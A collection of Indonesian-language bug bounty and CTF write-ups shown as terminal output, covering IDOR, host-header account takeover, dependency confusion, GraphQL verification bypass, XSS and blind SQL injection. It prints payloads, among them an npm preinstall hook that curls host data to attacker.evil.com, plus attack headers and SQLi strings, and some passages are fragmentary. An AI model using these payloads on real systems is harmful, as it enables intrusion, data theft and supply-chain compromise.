$ cat ~/knowledge-base/writeups.md
Kumpulan analisis & solusi dari bug bounty dan CTF publik
Peneliti menemukan vulnerability IDOR (Insecure Direct Object Reference) pada platform private program di HackerOne yang menghasilkan akses ke 1,4 juta record PII (Personally Identifiable Information). Vulnerability ini memungkinkan pembacaan dokumen sensitif pengguna lain hanya dengan memanipulasi parameter numeric.
Pada endpoint pengelolaan dokumen, terdapat fungsi update checklist yang menggunakan parameter DocID numeric:
POST /api/v1/checklist/update
{
"docId": 147123456,
...
}
Respons mengembalikan URL dokumen publik seperti:
"fileSrc": "https://cdn.target.com/docs/147123456-cardio-report.pdf"
Dengan mengubah DocID secara berturut-turut, peneliti dapat mengakses dokumen milik pengguna lain tanpa otorisasi apapun.
Implementasi ownership validation: setiap request harus memverifikasi bahwa DocID yang diminta benar-benar milik user yang mengaksesnya.
Menemukan kerentanan Account Takeover (ATO) pada program private Bugcrowd melalui teknik Host Header Injection pada fitur reset password. Attacker mampu mengarahkan link reset password ke domain miliknya sendiri.
Pada endpoint POST /v2/request_reset, peneliti memodifikasi header HTTP:
POST /v2/request_reset
Host: www.redacted.com
X-Forwarded-Host: attacker.oast.online
X-Host: attacker.oast.online
Origin: https://attacker.oast.online
Referer: https://attacker.oast.online/test
Link reset yang dikirim berupa:
https://www.redacted.com.attacker.oast.online/recover_account/.../reset-token
Trik tambahan: menggunakan format subdomain injection www.redacted.com.attacker.oast.online membuat server tetap memproses request dengan 200 OK, tapi link diarahkan ke collaborator domain peneliti.
Servis harus mengabaikan X-Forwarded-Host dan X-Host headers, serta hardcode origin domain untuk semua URL internal.
Dependency Confusion attack vector di mana package npm internal perusahaan dengan nama @confidential-package-name ternyata belum diklaim di public registry. Peneliti memublikasikan malicious package dengan nama yang sama dan menjalankan arbitrary code saat install.
Langkah-langkah exploitasi:
/node_modules/@internal-scope/pkg-name)preinstall script:{
"name": "@company/internal-utils",
"version": "1.0.0",
"scripts": {
"preinstall": "curl -d \"info=$(hostname && whoami)\" http://attacker.evil.com/log"
}
}
Paket ini akan dieksekusi otomatis saat npm install di CI/CD pipeline perusahaan.
Pada aplikasi dengan fitur verifikasi email, peneliti menemukan GraphQL mutation yang memungkinkan manipulasi status verifikasi langsung di request body tanpa perlu mengakses link verifikasi sungguhan.
mutation solutionsResendEmailVerification($input: ResendEmailInput!) {
resendEmailVerification(input: $input) {
success
__typename
}
}
variables: {
"entityId": "511",
"status": "PENDING",
"requestReferrer": "SOLUTIONS_CREATE"
}
Ubah field status dari "PENDING" menjadi "VERIFIED":
"status": "VERIFIED"
Backend tidak hanya mengubah UI state, tetapi juga menyimpan value ini ke database — sehingga akun langsung dianggap verified tanpa pernah mengakses email.
Challenge shiny-shells menggunakan Paillier cryptosystem yang mendukung homomorphic multiplication — memungkinkan operator mengubah command yang dieksekusi server tanpa decrypt ciphertext.
Paillier encryption: c = (g^m * r^n) mod n². Homomorphic property: c^a mod n² = g^(m*a) * (r^a)^n mod n², artinya bisa mengalikan plaintext tanpa tahu nilainya.
Server menerima ciphertext hasil encrypt command ls. Untuk mendapatkan shell access, perlu menghitung n dan membuat ciphertext baru yang decrypt-nya berisi sh\t...\n (shell command):
from Crypto.Util.number import bytes_to_long
ls = bytes_to_long(b'ls')
sh_b = b'sh'
for i0 in TAB:
for i1 in TAB:
for i2 in TAB:
for i3 in TAB:
for i4 in TAB:
for i5 in TAB:
b = sh_b + bytes([i0,i1,i2,i3,i4,i5])
a = bytes_to_long(b) % ls
if a == 0:
n = bytes_to_long(b) // ls
print(n, b)
break
Dengan n = 299531993847392 dan payload b'sh\t \x0c\t\r ', lakukan homomorphic multiplication:
ctxt_new = pow(ctxt, n, n*n)
msg = {'hash': hash(payload), 'ctxt': ctxt_new, 'n': n}
Lomba Kompetensi Siswa (LKS) bidang Cybersecurity merupakan kompetisi nasional tingkat SMK di Indonesia. Challenge mencakup 5 kategori utama: Web Exploitation, Cryptography, Forensics, Reverse Engineering, dan Binary Exploitation.
Chain攻击 yang menggabungkan Stored Self-XSS dan IDOR (Insecure Direct Object Reference) untuk melakukan mass account takeover terhadap seluruh pengguna platform event organizer.
Memodifikasi eventID parameter pada request API untuk mengakses event milik user lain. Namun response selalu 403 Unauthorized.
Menemukan fitur edit email template yang menerima JSON-encoded data. Payload disisipkan ke dalam field text:
{
"data": "{text:
}",
"eventID": 23423
}
Template tersimpan sebagai HTML dan dieksekusi saat admin membuka halaman.
Dengan mengubah eventID ke ID korban (numerik, bisa brute-force), XSS payload otomatis tereksekusi di akun victim. Attacker bisa mengambil session cookie dan mengontrol semua account.
Hidden input div merefleksikan URL tanpa sanitasi. WAF memblokir karakter >, sehingga digunakan Firefox-specific accesskey attribute technique:
;default'%20accesskey%3d'X'%20onclick%3d'alert(document.domain)
Menekan Alt+Shift+X mengeksekusi payload tanpa perlu klik apa pun.
Parameter channel_id pada hidden form field terinfeksi OR boolean-based blind SQL injection. Payload time-based:
if(now()=sysdate(),sleep(10),0) --
Dengan custom Python script dan payload bertunda 10 detik per bit, berhasil extract table names dari information_schema.
No write-ups found matching your criteria.